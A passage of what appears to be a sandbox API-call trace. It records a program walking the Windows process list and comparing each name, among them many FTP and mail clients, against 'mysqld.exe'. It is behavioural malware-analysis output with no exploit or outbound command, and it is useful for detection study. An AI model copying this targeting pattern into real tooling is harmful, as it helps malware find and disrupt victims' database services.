lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.789] CharLowerBuffW (in: lpsz="earliest-ne-broken.exe", cchLength=0x17 | out: lpsz="earliest-ne-broken.exe") returned 0x17 [0081.789] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.789] VarBstrCmp (bstrLeft="broken.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="earliest-ne-broken.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="earliest-ne-broken.exe", lpUsedDefaultChar=0x0) returned 260 [0081.790] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="household.exe")) returned 1 [0081.790] GetLastError () returned 0x0 [0081.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="household.exe") returned 260 [0081.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.790] CharLowerBuffW (in: lpsz="household.exe", cchLength=0xe | out: lpsz="household.exe") returned 0xe [0081.790] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.790] VarBstrCmp (bstrLeft="sehold.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="household.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="household.exe", lpUsedDefaultChar=0x0) returned 260 [0081.791] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mary.exe")) returned 1 [0081.791] GetLastError () returned 0x0 [0081.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mary.exe") returned 260 [0081.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.791] CharLowerBuffW (in: lpsz="mary.exe", cchLength=0x9 | out: lpsz="mary.exe") returned 0x9 [0081.791] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.791] VarBstrCmp (bstrLeft="mary.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mary.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mary.exe", lpUsedDefaultChar=0x0) returned 260 [0081.792] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0081.792] GetLastError () returned 0x0 [0081.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="3dftp.exe") returned 260 [0081.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.792] CharLowerBuffW (in: lpsz="3dftp.exe", cchLength=0xa | out: lpsz="3dftp.exe") returned 0xa [0081.792] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.792] VarBstrCmp (bstrLeft="3dftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3dftp.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3dftp.exe", lpUsedDefaultChar=0x0) returned 260 [0081.793] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0081.793] GetLastError () returned 0x0 [0081.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="absolutetelnet.exe") returned 260 [0081.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.793] CharLowerBuffW (in: lpsz="absolutetelnet.exe", cchLength=0x13 | out: lpsz="absolutetelnet.exe") returned 0x13 [0081.793] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.794] VarBstrCmp (bstrLeft="telnet.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="absolutetelnet.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="absolutetelnet.exe", lpUsedDefaultChar=0x0) returned 260 [0081.794] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0081.794] GetLastError () returned 0x0 [0081.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="alftp.exe") returned 260 [0081.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.794] CharLowerBuffW (in: lpsz="alftp.exe", cchLength=0xa | out: lpsz="alftp.exe") returned 0xa [0081.795] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.795] VarBstrCmp (bstrLeft="alftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alftp.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alftp.exe", lpUsedDefaultChar=0x0) returned 260 [0081.795] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0081.795] GetLastError () returned 0x0 [0081.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="barca.exe") returned 260 [0081.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.795] CharLowerBuffW (in: lpsz="barca.exe", cchLength=0xa | out: lpsz="barca.exe") returned 0xa [0081.796] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.796] VarBstrCmp (bstrLeft="barca.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="barca.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="barca.exe", lpUsedDefaultChar=0x0) returned 260 [0081.796] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0081.796] GetLastError () returned 0x0 [0081.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="bitkinex.exe") returned 260 [0081.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.796] CharLowerBuffW (in: lpsz="bitkinex.exe", cchLength=0xd | out: lpsz="bitkinex.exe") returned 0xd [0081.797] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.797] VarBstrCmp (bstrLeft="tkinex.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitkinex.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitkinex.exe", lpUsedDefaultChar=0x0) returned 260 [0081.797] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0081.797] GetLastError () returned 0x0 [0081.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="coreftp.exe") returned 260 [0081.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.797] CharLowerBuffW (in: lpsz="coreftp.exe", cchLength=0xc | out: lpsz="coreftp.exe") returned 0xc [0081.798] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.798] VarBstrCmp (bstrLeft="oreftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="coreftp.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coreftp.exe", lpUsedDefaultChar=0x0) returned 260 [0081.798] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0081.798] GetLastError () returned 0x0 [0081.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="far.exe") returned 260 [0081.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.799] CharLowerBuffW (in: lpsz="far.exe", cchLength=0x8 | out: lpsz="far.exe") returned 0x8 [0081.799] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.799] VarBstrCmp (bstrLeft="far.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="far.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="far.exe", lpUsedDefaultChar=0x0) returned 260 [0081.799] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0081.799] GetLastError () returned 0x0 [0081.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="filezilla.exe") returned 260 [0081.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.800] CharLowerBuffW (in: lpsz="filezilla.exe", cchLength=0xe | out: lpsz="filezilla.exe") returned 0xe [0081.800] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.800] VarBstrCmp (bstrLeft="ezilla.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filezilla.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filezilla.exe", lpUsedDefaultChar=0x0) returned 260 [0081.800] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0081.800] GetLastError () returned 0x0 [0081.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="flashfxp.exe") returned 260 [0081.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.801] CharLowerBuffW (in: lpsz="flashfxp.exe", cchLength=0xd | out: lpsz="flashfxp.exe") returned 0xd [0081.801] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.801] VarBstrCmp (bstrLeft="ashfxp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashfxp.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashfxp.exe", lpUsedDefaultChar=0x0) returned 260 [0081.801] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0081.801] GetLastError () returned 0x0 [0081.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fling.exe") returned 260 [0081.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.802] CharLowerBuffW (in: lpsz="fling.exe", cchLength=0xa | out: lpsz="fling.exe") returned 0xa [0081.802] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.802] VarBstrCmp (bstrLeft="fling.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fling.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fling.exe", lpUsedDefaultChar=0x0) returned 260 [0081.802] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0081.802] GetLastError () returned 0x0 [0081.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="foxmailincmail.exe") returned 260 [0081.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.803] CharLowerBuffW (in: lpsz="foxmailincmail.exe", cchLength=0x13 | out: lpsz="foxmailincmail.exe") returned 0x13 [0081.803] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.803] VarBstrCmp (bstrLeft="ncmail.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="foxmailincmail.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="foxmailincmail.exe", lpUsedDefaultChar=0x0) returned 260 [0081.803] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0081.803] GetLastError () returned 0x0 [0081.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="gmailnotifierpro.exe") returned 260 [0081.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.804] CharLowerBuffW (in: lpsz="gmailnotifierpro.exe", cchLength=0x15 | out: lpsz="gmailnotifierpro.exe") returned 0x15 [0081.804] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.804] VarBstrCmp (bstrLeft="ierpro.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gmailnotifierpro.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gmailnotifierpro.exe", lpUsedDefaultChar=0x0) returned 260 [0081.804] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0081.804] GetLastError () returned 0x0 [0081.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="icq.exe") returned 260 [0081.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.805] CharLowerBuffW (in: lpsz="icq.exe", cchLength=0x8 | out: lpsz="icq.exe") returned 0x8 [0081.805] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.805] VarBstrCmp (bstrLeft="icq.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icq.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icq.exe", lpUsedDefaultChar=0x0) returned 260 [0081.805] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0081.805] GetLastError () returned 0x0 [0081.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="leechftp.exe") returned 260 [0081.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.806] CharLowerBuffW (in: lpsz="leechftp.exe", cchLength=0xd | out: lpsz="leechftp.exe") returned 0xd [0081.806] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.806] VarBstrCmp (bstrLeft="echftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="leechftp.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="leechftp.exe", lpUsedDefaultChar=0x0) returned 260 [0081.806] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0081.806] GetLastError () returned 0x0 [0081.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ncftp.exe") returned 260 [0081.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.807] CharLowerBuffW (in: lpsz="ncftp.exe", cchLength=0xa | out: lpsz="ncftp.exe") returned 0xa [0081.807] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.807] VarBstrCmp (bstrLeft="ncftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ncftp.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ncftp.exe", lpUsedDefaultChar=0x0) returned 260 [0081.807] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0081.808] GetLastError () returned 0x0 [0081.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="notepad.exe") returned 260 [0081.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.808] CharLowerBuffW (in: lpsz="notepad.exe", cchLength=0xc | out: lpsz="notepad.exe") returned 0xc [0081.808] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.808] VarBstrCmp (bstrLeft="otepad.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad.exe", lpUsedDefaultChar=0x0) returned 260 [0081.808] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0081.809] GetLastError () returned 0x0 [0081.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="operamail.exe") returned 260 [0081.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.809] CharLowerBuffW (in: lpsz="operamail.exe", cchLength=0xe | out: lpsz="operamail.exe") returned 0xe [0081.809] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.809] VarBstrCmp (bstrLeft="ramail.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.809] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: 